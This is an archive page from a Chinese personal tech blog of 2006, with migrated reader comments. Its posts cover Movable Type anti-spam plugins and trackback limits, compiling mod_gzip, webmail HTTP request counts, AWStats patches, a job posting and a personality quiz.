注意：[MT官方网站上的TrackbackScript说明](http://www.sixapart.com/movabletype/docs/3.2/08_trackback/configuring_trackback.html)有误：应该是小写b TrackbackScript != Track**B**ackScript

CTCode已经调通了，写笔记宣传一下。感谢毕勤的提示，找到了CCode和TCode这个防spam插件。原理很简单：就是将原来的Comment和Trackback的ID后面增加了一个数字（我观察：10位数字应该是~~文章发表的时间戳~~基于时间戳生成的数字）用作干扰，以防止Spammer用留言机对于使用MT进行blog发布的系统进行地毯式trackback轰炸（从文章1到文章1000）。

优点： 1 COMMENT和TRACKBACK的spam问题同时解决； 2 不用安装新的PERL模块（使用图形验证就比较麻烦，需要安装很多动态生成模块）； 3 blog读者不增加负担，不用输入校验码之类的（但是TRACKBACK变成手工的了，无法自动发现了）；

缺点：改的地方太多，除了部署plugins文件外： 1 每个BLOG一一修改模板单篇归档模板的留言表单； 2 留言页面需要增加一个JS函数：增加单独js文件，或者扩展mt-site.js 3 需要重建所有页面； 4 针对分布式spambot不管用：还是要先将改文件名。

安装以后的确有感到回到刚安装MT时候的安静环境中（但：目前spamlookup插件仍然在使用中）。希望能和spamlookup一样，成为MT的标准插件配置；

以下是具体安装和配置过程：

安装：将CTCode-3.3.01.tar.gz放到 cgi-bin/mt/ 并解压。

CCcode的配置： 0 （如果直接使用的是MT3.3以上可跳过）如果从MT3.2升级上来的系统可能缺少mt-site.js文件的模板，添加一下； 1 将default_templates下的obfuscator.js附在site_javascript.tmpl后面；

obfuscator.js >> site_javascript.tmpl

手工更新一下每个blog的mt-site.js模板/重建； 2 在每个blog的单篇归档模板中评论提交表单内增加<$MTEntryCCode$>字段；重建所有单篇归档。

关于TCode机制： TCode防止的其实是基于html header中的ping地址定义： rdf:about=“http://www.chedong.com/blog/archives/001235.html" trackback:ping=“http://www.chedong.com/cgi-bin/mt/mt-tb.cgi/935.your ping is to be moderated, so please dont’t send repeatedly” 所以：在MT对外网blog ping的时候，自动发现的地址就变了。所以如果发现MT自动发现的ping地址不对就需要自己手工改一下。

TCode在安装上插件后，~~直接生效，不需要修改JS~~，也需要部署js：感谢路杨的耐心说明。

你是用FireFox的查看 “选中部分的原代码” 来看的吧？ FF有个功能，就是会把JS write 出来的东西切换成HTML再次显示一遍来方便网页设计人员。
你还是查看全部原代码定位到TrackLink来看把：）或者用ie来看， 1464314384 其实就是 ```javascript obfuscator(‘Uj2jlUjlYj’, ‘mcVRTeM4Zzopd3iqFjuwGHKlQ1anEDgb7XOUy8059rLkSNfYW6CBPAvIstx2Jh’, ‘MTTBLINK’, ‘http://www.chedong.com/cgi-bin/mt/mt-tb.cgi/935.', ‘’);

Apache 1.3上的mod_gzip编译和配置

Sat, 18 Nov 2006 13:49:05 +0800

最近打算做一个试验，需要重新安装一下apache 1.3上用的的http压缩模块：mod_gzip（这个模块已经很久没有维护了，apache 2.x已经内置有mod_deflate压缩模块）

以下是编译mod_gzip报的错： make APXS=/home/apache/bin/apxs

/home/apache/bin/apxs -Wc,-Wall,-O3,-fomit-frame-pointer,-pipe -c mod_gzip.c mod_gzip_debug.c mod_gzip_compress.c -o mod_gzip.so gcc -DLINUX=22 -DHAVE_SET_DUMPABLE -I/usr/include/gdbm -DUSE_HSREGEX -DUSE_EXPAT -I../lib/expat-lite -fpic -DSHARED_MODULE -I/home/apache/include -Wall,-O3,-fomit-frame-pointer,-pipe -c mod_gzip.c cc1: error: unrecognized command line option "-Wall,-O3,-fomit-frame-pointer,-pipe" apxs:Break: Command failed with rc=1 make: *** [build] Error 1

只好把Makefile中的：-Wall,-O3,-fomit-frame-pointer,这几个选项取消，然后就编译通过了…… gcc的版本如下：

Using built-in specs. Target: i386-redhat-linux Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-libgcj-multifile --enable-languages=c,c++,objc,java,f95,ada --enable-java-awt=gtk --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --host=i386-redhat-linux Thread model: posix gcc version 4.0.2 20051125 (Red Hat 4.0.2-8)

有哪位遇到过类似问题吗？

不知道这样安装有什么影响没有，Apache已经显示为： Apache/1.3.37 (Unix) mod_perl/1.29 mod_gzip/1.3.26.1a PHP/4.4.4

MT HTTP error: 403 Throttled的原因和解决

Fri, 17 Nov 2006 10:39:07 +0800

已经几个月收不到各种TrackBack Ping了，应该是升级到MT3.3以后出现的。今天查了一下Trackback功能罢工原因 - flypig.org：超出了每小时和每天的trackback有次数上限，而缺省配置文件中没有表明相应选项（缺省的没小时和每天的trackback ping的上限是10和50）； OneHourMaxPings 10 OneDayMaxPings 50 每天上千的垃圾trackback很快将这个限额填满了（我的blog上目前有这个限制后平均每天只收到50多个垃圾ping），但正常的TRACKBACK随后也就进不来了……

所以在mt-config.cgi文件中，增大以下2个参数的上线就能解决了，比如： OneHourMaxPings 5000 OneDayMaxPings 20000

MT能否改进一下TrackBack ping limit的统计机制呢？被归入spam的trackback不记入quota呢？

蒋小时和按天的trackback ping次数上限设置增加后：带来的直接后果就是垃圾ping上涨了2个数量级，后台也出现经常遭受trackback ping轰炸的迹象。

top - 18:25:23 up 9 days, 4:52, 1 user, load average: 15.85, 4.73, 2.20 Tasks: 168 total, 27 running, 141 sleeping, 0 stopped, 0 zombie Cpu(s): 90.7% us, 8.2% sy, 0.0% ni, 0.0% id, 0.0% wa, 0.2% hi, 1.0% si Mem: 2074592k total, 1987584k used, 87008k free, 125304k buffers Swap: 1020088k total, 68k used, 1020020k free, 1426376k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 7175 apache 19 0 18276 13m 3436 R 16.4 0.7 0:02.64 mt-tb.cgi 7200 apache 19 0 18012 13m 3412 R 10.2 0.7 0:02.43 mt-tb.cgi 7170 apache 22 0 9368 7536 1780 R 9.8 0.4 0:01.24 mt-tb.cgi 7171 apache 22 0 9368 7536 1780 R 9.8 0.4 0:01.24 mt-tb.cgi 7208 apache 25 0 9364 7532 1780 R 9.8 0.4 0:01.20 mt-tb.cgi 7213 apache 25 0 8152 6408 1692 R 8.5 0.3 0:01.00 mt-tb.cgi 7174 apache 21 0 9760 7896 1780 R 6.9 0.4 0:01.32 mt-tb.cgi 7186 apache 22 0 9364 7584 1780 R 6.9 0.4 0:01.25 mt-tb.cgi 7149 apache 22 0 14992 13m 1848 R 6.6 0.6 0:03.24 view.pl 7158 apache 19 0 17696 13m 3412 R 6.6 0.6 0:02.29 mt-tb.cgi 7163 apache 19 0 18008 13m 3412 R 6.6 0.7 0:02.39 mt-tb.cgi 7165 apache 21 0 9760 7952 1780 R 6.6 0.4 0:01.34 mt-tb.cgi 7177 apache 21 0 9628 7844 1780 R 6.6 0.4 0:01.30 mt-tb.cgi 7182 apache 21 0 9624 7856 1780 R 6.6 0.4 0:01.32 mt-tb.cgi 7184 apache 21 0 9628 7864 1780 R 6.6 0.4 0:01.30 mt-tb.cgi 7189 apache 22 0 9368 7536 1780 R 6.6 0.4 0:01.24 mt-tb.cgi 7193 apache 25 0 6568 4816 1692 R 6.6 0.2 0:00.70 mt-tb.cgi 7236 apache 25 0 6160 4392 1624 R 6.6 0.2 0:00.61 view.pl 7238 apache 25 0 6296 4500 1672 R 6.6 0.2 0:00.60 mt-tb.cgi 7191 apache 25 0 6568 4848 1692 R 6.2 0.2 0:00.71 mt-tb.cgi 7212 apache 21 0 6832 5012 1692 R 6.2 0.2 0:00.74 mt-tb.cgi

速度比较：GMail/MSN/Yahoo!Mail

Thu, 16 Nov 2006 08:52:56 +0800

用LiveHTTPHeaders做了一个比较：发现GMail比Yahoo!Mail和LiveMail快还是有原因的。

从输入域名，到登录完成进入邮箱的HTTP请求次数（已经保存密码自动登录）： 9 gmail.log 19 hotmail.log 34 ymail.log

GMail的请求：9次

GET /mail/ GET /mail/ GET /mail/ GET /mail/im/dropupdown.gif GET /setgmail GET /mail/ GET /mail/ GET /mail/ GET /mail/

Live Mail的请求：19次，其中7个广告相关的请求

GET /mail/mail.aspx GET /mail/Bootstrap_11.08.0100.0011.aspx GET /mail/loading_11.08.0100.0011.aspx GET /mail/ApplicationMain_11.08.0100.0011.aspx GET /c.gif POST /mail/mail.fpp GET /mail/stylesheet_11.08.0100.0011.aspx GET /mail/11.00/theme0/thumbn.gif GET /mail/11.00/theme7/thumbn.gif GET /ADSAdClient31.dll GET /ADSAdClient31.dll POST /mail/mail.fpp GET /mail/11.00/theme6/thumbn.gif GET /ADSAdClient31.dll GET /mail/11.00/theme4/thumbn.gif GET /ADSAdClient31.dll GET /main/adfshow GET /main/adfshow GET /msnms/20061025/Hotmail(China)today_Rectangle_300_250_20k.swf

Yahoo!Mail（Beta版）：34次

GET / GET /b GET /search GET /yab/cache/cn/w85nP6Cx_z657_m9Yyg9Aw-- POST /ws/mail/v1/soap POST /rss/Content/V3.0/getUserFeedData POST /ws/mail/v1/soap GET /dc/fc GET /ws/cal/w85nP6Cx_z657_m9Yyg9Aw--/v0.1/event GET /a GET /a GET /b GET /a GET /candygram/welcome/ GET /b GET /a GET /a GET /img/loginrec.htm GET /candygram/welcome/ GET /promo/p2006/tab_cg.html GET /a GET /us.yimg.com/a/1-/jscodes/031016/ct_lrec_031016.js GET /img/loginrec.htm GET /b GET /b GET /a GET /b GET /promo/p2006/tab_cg.html GET /b GET /b GET /a/ad/daphne/20060809_74790_3_300x250_lrec_dragdrop_China.swf GET /serv GET /serv GET /mail/

另外还有物理速度的影响：

LiveHTTPHeaders更新，能在FireFox2.0里用了

Sun, 12 Nov 2006 18:51:53 +0800

将Firefox升级到2.0以后：LiveHTTPHeaders这个我常用来debug网页的插件就不能用了（另外一个是Proxy切换工具）。其实大部分这些插件都是兼容的：兼容不兼容全看插件自己声明，只是当初做的时候中还没有FireFox 2.0。着急的话可以下载插件的xpi文件，将其中的1.5改成2.0即可。

但是还是最好有官方的升级：今天打开FF发现已经有了。

LiveHTTPHeader的主要功能：就是实时跟踪浏览器与服务器端的HEADER请求，并导出日志供分析。

更新说明：

The version 0.13.1 is now available. It simply fixes the version number in a few places ;).

If you want, you may also make a donation E-Gold account:

1746494 Pecunix account:
savardd@gnulinux.ca

The version 0.13 is now available. It is compatible with Firefox 2.0.

近期我打算做使用LiveHTTPHeader做个对比测试：我总觉得Yahoo!新版邮箱和MSN的初始化速度LiveMail比GMail慢很多，其中一个很重要的原因是图片和CSS/JS文件过多过于分散。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

皮子 · 2006-11-13 12:11

Live HTTP headers确实是个好东西，不过感觉没有ie下的 Http Watch好。可能习惯ie的原因吧，firefox我感觉与ie还是有些差距。

alang · 2006-11-14 16:26

豆瓣“我上”：一个blog就是一本有趣的书

Thu, 09 Nov 2006 21:31:46 +0800

豆瓣的新功能：我上的blog，你看过的blog就是一本会有趣而且不断更新的书，很有创意。

现在用起来还有些麻烦：能自动推荐列出的blog很少，大部分需要将你喜欢的blog主动搜出来。大家一般都是先搜自己吧？已经有很多blogger开始ego surf了。

别人给我的tag还挺丰富的：互联网 (4)　 IT (3)　 Web (2)　搜索 (2)　 Geek (1)　搜索技术 (1)

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

DavidYin · 2006-11-10 03:41

想引用你的文章，不过ping了几次，都是 failed: HTTP error: 403 Throttled

手工trackback一下：利用这个功能，让大家都推荐Blog，对于豆瓣的用户可以当成个人的Blog网址簿。而对豆瓣来说，还可以做成一个Blog搜索器。

剑书 · 2006-11-10 03:49

还在测试中，期待完善~

Fenng · 2006-11-10 10:45

Tag 好像是我第一个加的 :)

tinyfool · 2006-11-10 12:36

说实在的，这功能还不错，但是名字so扯

想象一下，目前豆瓣的功能都有排行榜，等到我上也有排行榜的时候。。。

谁喜欢成为“被上”次数最多的呢？

s5s5 · 2006-11-10 17:37

http://www.douban.com/subject/9019245/ 嘿嘿～

chickenpoet · 2006-11-11 02:38

趁着新功能，到小组里逛了一圈儿。发现现在的豆瓣和最初的豆瓣已经很不一样。最初的豆瓣非常纯粹。现在的豆瓣有点像当年的西祠胡同，只不过当年是70后，现在都是80后了。这不是坏事，毕竟随便搜索个名字都会有相关的小组出现，而且里面高手居多，这对豆瓣肯定是好事。只是顺便联想，这个“我上”不知道最后会有什么样的衍生风格呢？要是阿北正好看见这点感慨，不如加点实际的，比如给每本书，音乐和电影也加个二维码，方便大家去书店或者淘碟。作为70年代的人，对实用性更看重。功能吗。。。说实话，为了避免被上，我连blog都不敢写了——just kidding. 不过真心觉得应该换种衡量方式，blog不是经常上，偶尔上的分别，多久上一次终究要看被上的blog的作者多久写一次（假设大家都用rss订阅）。所以要是说上了很久，刚开始上，可能还更有逻辑一些。

应届生如何应聘雅虎中国/阿里巴巴工作职位

Wed, 08 Nov 2006 20:06:54 +0800

从校园招聘的网站直接提交简历：http://campus.chinahr.com/2007/pages/alibaba/ 参加在线答题和简历系统提交，招聘组会根据在线系统中的考试情况安排笔试。

给应届生的建议： 1 去sf.net上找个项目学学：使用，Hack，改进都可以； 2 了解雅虎中国和阿里巴巴的相关产品； 3 简历使用纯文本，发邮件不要使用附件； 4 准备一个6分钟的自我介绍：表现出你对相关领域的热爱；

另外：如果你是设计师，可以在杭州工作，还有淘宝的职位供选择。

如果不是应届，请继续看：

我所在的部门：搜索营销产品部搜索竞价引擎Team隶属于搜索营销产品部，主要参与研发雅虎中国的搜索竞价系统。

工作使命：建设国内第一的网络搜索营销平台，成为最大的企业互联网广告平台，在Yahoo搜索引擎以及上万的合作网站上，通过网页分析、数据分析、用户行为分析等手段，实时高效的从海量广告库中匹配最优化的广告投放策略，提升网站用户体验和企业营销效果。作为工程师，你可以：

加入一个年轻、乐观、高效、有序的技术队伍；
参与世界级产品研发、维护；
接触海量数据存贮、数据挖掘、搜索引擎、分布式处理、人工智能、中文分词等领域；
克服各种技术难题，享受在中国成长最快、最优秀的互联网公司工作的乐趣；

职位描述: 竞价引擎前端(Web展示)的设计、开发和优化

任职资格: 1、熟悉 JavaScript, CSS, PHP, Ajax 2、两年以上Web应用开发经验 3、良好的沟通能力，团队意识好，抗压性强

职位描述: 竞价引擎服务器端及WEB应用产品的系统架构、设计、开发和优化。

任职资格: 1、精通C/C++语言，具有丰富的Linux系统下开发经验； 2、具有丰富的分布式系统的架构、设计、优化经验； 3、具有较强的项目、团队管理经验； 4、工作上抗压性强；

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

刘衡 · 2006-11-08 21:39

谢谢建议. 我是在http://campus.chinahr.com/2007/pages/alibaba/上投的简历. 6号在电子科大去参加了校园宣讲会,但是宣讲会上说非技术类的不参加笔试,等电话就是了.但是知道现在也没有收到电话.急ing… 我应的是 yahoo 的搜索编辑.现在我除了等还可以做什么?谢谢.

Fenng · 2006-11-08 22:51

这篇朴实，淘宝UI有篇招聘则比较风趣

各有千秋哇

nickyhu · 2006-11-14 16:47

为什么，雅虎的搜索营销产品部的负责人还要用google的adsence呢？

MT 3.33模板的SEO改进

Thu, 02 Nov 2006 10:45:29 +0800

MT3.33发布后，批量刷新了几个网站的缺省模板，发现以前需要我对模板手工修改的很多地方已经是缺省模板的设置了： 1 首页每篇文章标题增加了指向内容页的链接：原先只有文章下面有一个“全文”； 2 内容页的标题格式修改：由原来的：“[网志名称] - [文章名称]”变成了“[文章名称] ([网志名称])”，内容标题比网站名更重要； 3 内容页分成了左右两栏模式：可以在右栏中更方便的增加更多链接模块实现站内信息的关联和导航，；

MT的进化还是比起WP来有些慢，除此意外还有其他的改进：看看什么时候在缺省的发布版本中实现 1 缺省编辑窗口变成可视化编辑（WYSIWYG）； 2 增加草稿自动保存； 3 基于TAG的相关文章查找/列表，目前我还在使用Related Entries Plugin；

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

JunChen · 2006-11-02 13:28

关于草稿自动保存…

3.33在写文章的时候如果不小心点了关闭、后退、或者其它链接是会提示“你确定要离开本页么？”，原来记得好像没有。

dimlau · 2006-11-02 20:22

自动保存功能。。。残念我为了实现它装了插件，可是不能用。。老是超时-_-#

DavidYin · 2006-11-03 02:27

MT 3.3已经有了Tags字段，可以给每篇文章添加Tags。使用TagSupplementals Plugin，可以把相同Tags的文章列在下面。这个可以解决第三点的问题。

Alucard · 2006-11-07 01:37

想用mt3.3了……

第二届中文网志年会（杭州）

Mon, 30 Oct 2006 08:16:49 +0800

来到布满绿色LOGO的年会现场以后，立刻回想起在上次年会后Isaac说的：“打死也不办理第二届了。” ;-)。感谢这次的组办者们：尤其是袁子/叶子及各位参与的志愿者，在经历了两次临时的变故后以后仍能圆满的将整个活动完成，其中的毅力和坚持真是让大家感动。

一些感受： 1 年会更像是一个沙龙，“找人”是来宾们最主要的收获吧。如果没有来及找到想认识的人，我可以帮忙介绍。另外：谁和LaoLu比较熟？我想认识一下； 2 上次年会的一些保留节目：玩具车展示/留影/拍卖等； 3 更多的创意活动，值得借鉴：生活因BLOG改变征文，FireFox2发布TrackBack征文； 4 更多的公益组织展示：9个； 5 更多的赞助商：这次雅虎中国也有团队参加；

如果下届再举办： 1 更小的分组：最好按主题宗旨成几个主题分会场：每个分会场人数控制在一定人数之内（150定律？），如果又搜索产品相关讨论组，雅虎还要继续参加的； 2 更多的收入：希望参会的新网站能够通过雅虎的搜索竞价产品等途径获得更好的收入，我这次联系了几家，希望能尽快开始和他们的合作。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-10-30 09:27

多谢你给我介绍那么多朋友 :)

Kreny · 2006-10-30 13:08

前几天我也在杭州啊~~~~

刘衡 · 2006-10-30 14:39

明年更精彩

薛盈 · 2006-10-31 14:11

二次年会都是匆忙介绍了，打个招呼而已。希望你对我还有印象。

jack · 2006-10-31 22:44

这次好像又没碰到你，下次有机会一定要认识一下

find me: bloglines

Wed, 04 Oct 2006 19:00:13 +0800

很久没有使用bloglines了，最近Google新发布了RSS Reader。我才想起BlogLines，去上面转了一圈，Google学BlogLines学得很到家啊。但是在大规模数据得存取上，Google明显高出BlogLines一筹。BlogLines后台应该还是延续数据库思维：一定要精确告诉你，你订阅的FEED上有873条新内容，而Google就只告诉你(100+)：因为能翻10页以后的用户不会超过2%。而结合了ajax设计，类似于GMail界面的浏览模式（尤其是列表方式），也是我非常习惯的快速浏览方式。相比之下：Bloglines在速度方面就要差多了。

再仔细看看：BlogLines的新功能，看来，社群化是BlogLines努力的方向之一。另外就是发现了一个claim功能：认领你自己发布的Feed。

认领流程如下： 0 输入你的blog地址：bloglines会分别生成2个key，一个ckey（用于证明你能发表内容），一个ukey（用于证明你能拥有网站）； 1 发一篇blog：里面包含feedkey：

2 修改首页模板：包含一个：

结果：如果bloglines在首页上同时发现了ckey+ukey，并且在feed中只发现了ckey就成功了。

本篇就用作激活贴，激活之后可以将多个重复的数据源index.rdf index.xml atom.xml 标记为重复的feed

2006-10-06 更新：关于BlogLines和ZhuaXia的FEED合并功能首次发布时间，感谢TinyFool和DBANotes提供线索 Have no fear, Publisher Tools are here! − Early last week, Jeremy Zawodny posted about moving his blog and disappointment with how aggregators handle 301 (permanent) HTTP redirects. In fact, there have been a number of high profile bloggers who have recently felt the pain of moving their feed including Robert Scoble and ResourceShelf by our Ask.com colleague Gary Price. Bloglines has always tried to ease the pain of moving your blog. If you set up a 301 redirect, Bloglines will automagically set that feed as a duplicate to the new feed after a week or two. Our customer support team has also responded to requests to mark feeds as duplicates. But we knew publishers needed a smoother process.

赶在AWStats 6.6正式发布前的更新

Mon, 02 Oct 2006 22:33:41 +0800

目前我一共提交了5个主要的补丁：如果大家感觉有需要，请到sf.net的相关主题中反映并推进一下，争取在6.6版本正式发布时以下补丁已经直接在下载版本中可以使用，让国外的开发人员接受面向中文和本地去求的补丁还是需要非常主动的沟通的。

1 过滤HEAD请求：这是我目前找到的避免referer spam最简单的方法； diff -r1.885 awstats.pl 6322d6321 < || $field[$pos_method] eq ‘HEAD’ 而且很多HEAD请求是来自浏览器或者机器人的缓存请求，的确不应该作为浏览量加入统计；

2 针对主要中文搜索引擎的定义：主要有8个；

‘.baidu.com’, # baidu search portal ‘.vnet.cn’, # powered by MSN ‘.soso.com’, # powered by Google ‘.sogou.com’, # powered by Sohu ‘.3721.com’, # powered by Yahoo! ‘.iask.com’, # powered by Sina ‘.163.com’, # powered by Google ‘.zhongsou.com’, # zhongsou search portal 近期vnet等引擎的加入让搜索市场的格局有较大的变化；

3 增加了国内主要spider的定义：国外的开发者不会中文，于是找到了sohu的这个说明页作为sogou spider的说明页： http://corp.sohu.com/20051130/n240842344.shtml 此外：还将TT当成了蜘蛛，其实是腾讯的浏览器；

4 修正浏览器中的在线RSS阅读器定义： lilina加入到robots.pm中去了，加入了potu的定义。awstats中最近增加最快的就是各种rss蜘蛛和rss浏览器的定义，天知道怎么会有那么多小公司在做RSS的相关产品开发。而国内一些真正流量大的缺很少被发现并添加到robots.pm和browsers.pm中去。

5 中文的界面的语言包：少量说明文字更新。

不用相信国内任何商业机构统计对市场的分析和评估，还是自己网站的日志最诚实的反映了实际的市场份额变化。

💬 历史评论

以下 5 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

雅虎通可以批量添加MSN用户了

Fri, 29 Sep 2006 21:04:02 +0800

雅虎通的好友中线插件今天升级了，增加了批量导入功能。如果你已经有几百个MSN联系人，通过批量导入就可以给这些用户一一发送雅虎通帐号的联通申请了。

雅虎通和MSN之间的互通是这样的：雅虎通用户升级到8.0：对方MSN必须设置为允许雅虎通网络添加； MSN用户升级到Live Messenger(8.0)：对方雅虎通帐号必须设置为允许MSN网络添加；

这样的互通：无论是使用MSN还是雅虎通，都必须将使用另外软件的联系人重新在各自的客户端上加一遍才行。

💬 历史评论

以下 13 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

平生一笑 · 2006-09-30 08:57

哈哈，车东昨天就是通过这个添加的我吧:)

runescape gold · 2006-10-30 09:51

批量的？

009 · 2006-11-08 09:57

“允许雅虎通网络添加”这个选项在哪里，死活找不到

000 · 2007-04-15 21:16

你好我想知道怎么添加MSN好友？谢谢1

逍遥这星, · 2007-08-11 20:09

我很喜欢这,我喜欢有很多的朋友,

天天开心 · 2007-09-12 10:25

怎么样加MSN好友啊？

王起源 · 2007-10-12 18:45

你好怎么加msn好友呢？

小燕子 · 2007-10-27 13:41

你好我想知道怎么添加MSN好友？谢谢1

meng · 2007-11-12 10:50

我想和海外朋友聊天,不知道怎样加为好友?有知者,希告知.谢谢

水叶依兰 · 2009-11-28 16:34

给Blog加上雅虎通PingMe服务：和网站用户即时聊天

Thu, 28 Sep 2006 13:56:21 +0800

雅虎中国刚刚发布了Y!Pingme服务，什么是PingMe呢？就是一个web界面的雅虎通留言簿，没有注册过雅虎帐号的用户只要点击网站上的PingMe图标就可以直接与你聊天了。过几天，你的雅虎通上忽然跳出一个：webchat####用户，那就是来自网站的用户留言了。可以即时回复。

提示：开通了pingme服务后为什么自己的图标显示是离线呢？
原因：开通pingme服务需要你的雅虎通设置为允许他人看到你的在线状态，如果在线状态从保密的改成可见的以后，可能要隔半天以后才能生效，耐心等几个小时以后就好了。

还记得TracQ吗？现在叫TQ了。类似的服务对于中小网站实现一个低成本的在线客服还是非常有用的，比如：购物网站在支付环节加上这个功能，即时为用户答疑等。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ahu · 2006-09-29 11:26

头像竟然不支持opera！

逍遥之星, · 2007-08-11 20:18

找联系人,我想加.但不知如何做

MT 3.33发布：安全漏洞修正

Wed, 27 Sep 2006 09:05:43 +0800

MT昨天发布了一个安全更新：建议用3.2版本的也升级到3.33

从3.32升级的过程：下载：wget http://www.sixapart.com/movabletype/downloads/MT-3.33-patches/MT-3.32-patch-en.zip

解包： unzip MT-3.32-patch-en.zip Archive: MT-3.32-patch-en.zip creating: MT-3.32-patch-en/ creating: MT-3.32-patch-en/plugins/ creating: MT-3.32-patch-en/plugins/feeds-app-lite/ creating: MT-3.32-patch-en/plugins/feeds-app-lite/lib/ creating: MT-3.32-patch-en/plugins/feeds-app-lite/lib/MT/ creating: MT-3.32-patch-en/plugins/feeds-app-lite/lib/MT/App/ inflating: MT-3.32-patch-en/plugins/feeds-app-lite/lib/MT/App/FeedsWidget.pm inflating: MT-3.32-patch-en/plugins/feeds-app-lite/mt-feeds.pl creating: MT-3.32-patch-en/plugins/nofollow/ inflating: MT-3.32-patch-en/plugins/nofollow/nofollow.pl creating: MT-3.32-patch-en/lib/ creating: MT-3.32-patch-en/lib/MT/ inflating: MT-3.32-patch-en/lib/MT/App.pm inflating: MT-3.32-patch-en/lib/MT/Log.pm inflating: MT-3.32-patch-en/lib/MT/Sanitize.pm creating: MT-3.32-patch-en/lib/MT/App/ inflating: MT-3.32-patch-en/lib/MT/App/CMS.pm inflating: MT-3.32-patch-en/lib/MT/App/Search.pm inflating: MT-3.32-patch-en/lib/MT.pm creating: MT-3.32-patch-en/php/ creating: MT-3.32-patch-en/php/lib/ inflating: MT-3.32-patch-en/php/lib/sanitize_lib.php inflating: MT-3.32-patch-en/php/mt.php

复制到MT安装目录下：sudo cp -R * /home/path/to/cgi-bin/mt/

MT模板修改2则：评论分段和firefox的缺省字体适应

Sat, 23 Sep 2006 21:35:40 +0800

大辉的这套MT模板设计的很不错，我看到在很多MT的用户中都有传播。这套模板不可避免的也继承了原有MT模板的一些缺陷，而且还闹出了不少误会，一段时间以来我一直会收到： “你好Annie，能将《蓝海战略》这本书的电子版给我发一份吗？”的留言，问题就是出在MT的模板的段落设计上：有电子版的留言是四楼未完成的Tango写的，但是由于那条华丽分割线，很多人都以为是“楼上”的Annie发表的，大家把这里当成论坛了吗？

将这个问题写给了大辉，我自己已经把他给修正了，同时修正了在FireFox下字体不像IE下那么圆滑的问题。

diff -b dbanotes.css styles-site.css 774c775 < border-top:1px solid #dae0e6; --- > border-bottom:1px solid #dae0e6; 777c778 < font-size:11px; --- > font-size:12px;

解决的具体方法就是：将和.entry-more-link,.entry-footer,.comment-footer,.trackback-footer,.typelist-thumbnailed { 中一起定义的文字顶部加分割线改成底部加，这样就感觉每个条目的作者和条目就成为一个区块了。另外就是：面向FireFox的模板设计优化：避免使用单数大小字体，尽量使用small x-small等相对定义；

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-09-23 22:45

测试一条先

Realazy · 2006-09-24 01:38

你所说的Firefox字体问题的真相是：

Windows系统下的宋体字，最小阅读范围是12px。当你把字体设置为小于12px时，IE比较“智能”，它能把中文字体自动调整到12px这个可读范围，而Firefox就比较“老实”，忠实地再现CSS里的设置。windows下11px的中文宋体字是难于阅读的。

另外，在Windows系统下，12px, 14px, 16px这三个字号的表现都不错。

sleetdrop · 2006-09-24 10:11

前些天开始用雅黑了。虽然开始对这样的字体不是很习惯，但在lcd上阅读起来真的会很舒服。

路杨 · 2006-09-25 11:39

那个小信息改12px反而不好看。不如11px，或者干脆 small ，第一个，其实啊。。只改评论的吧。其他的还是放在上面吧。

九型性格心理测试 (From Ulla Zang荣格的个人性格测验题目)

Fri, 22 Sep 2006 18:41:05 +0800

今天妮妮给我发来一个性格测试：要评估自己的性格，请看看以下的图片，并选出你最喜爱的一张（请同时考虑形状和颜色）。然后根据编号查看你对应的类型。和周围几个同事一起做了一下：还挺准的哎……

个性类型说明附后：

这些图片是（Ulla Zang）跟一位心理学家一起合作的成果，并且经过历时几年的全球性测试。收到这个研究的响应之后，再小心地调较各个图片的颜色及形状，然后再次进行测试，直至得到这些非常成功的图片，这些图片代表了九种不同的性格。希望你喜欢这个测验！

测试结果： 1) 时常自我反省,敏感的思想家 ** 你对于自己及四周的环境能够比一般人控制得更好更彻底。你讨厌表面化及肤浅的东西；你宁愿独自一人也不愿跟别人闲谈，但你跟朋友的关系却非常深入，这令你的心境保持和谐安逸。你不介意长时间独自一人，而且绝少会觉得沉闷。 ** 2) 独立，前卫，不受拘束你追求自由及不受拘束，自我的生活。你的工作及消闲活动都与艺术有关。你对于自由的渴求有时候会使你做出令人出人意表的事。你的生活方式极具个人色彩；你永远不会盲目追逐潮流。相反地，你会根据自己的意思和信念去生活，就算是逆流而上也在所不惜。

**3) 精力充沛，好动，外向 ** 你不介意冒险，特别喜欢有趣的，多元化的工作。相比之下，例行公事及惯例会令你没精打采。你最兴奋的是可以积极参与任何比赛活动，因为这样你就可以在众人面前大显身手了。

**4) 务实，头脑清醒，和谐 ** 你作风自然，喜欢简单的东西。人们欣赏你脚踏实地，他们觉得你稳重，值得信赖。你能够给予身边的人安全感，你给人一种亲切，温暖的感觉。你对于俗气的，花花绿绿的东西都不屑一顾，对时装潮流抱着怀疑的态度；对于你来说，衣服必须是实用及大方得体的。

**5) 专业，实事求事，自信 ** 你掌管自己的生活，你相信自己的能力多于相信命运的安排。你以实际，简单的方式去解决问题。你对日常生活中所遇到的事物抱有现实的睇法，并且能够应付自如。人们知道你可担重任，因此都放心把大量工作交给你处理。你那坚强的意志使你时刻都充满信心。未达到自己的目标之前，你绝不罢休。

6) 温和，谨慎，无攻击性 你生性随和，但处事谨慎。你很容易认识朋友，但同时享受你的私人时间及独立生活。有时候，你会从人群中抽身而出，一个人静静地思考生活的意义，并自娱一番。你需要个人的空间，因此有时会隐匿于美梦当中，但你并不是一个爱孤独的人。你跟自己及这个世界都能够和陆共处，而你对现状亦非常满意。

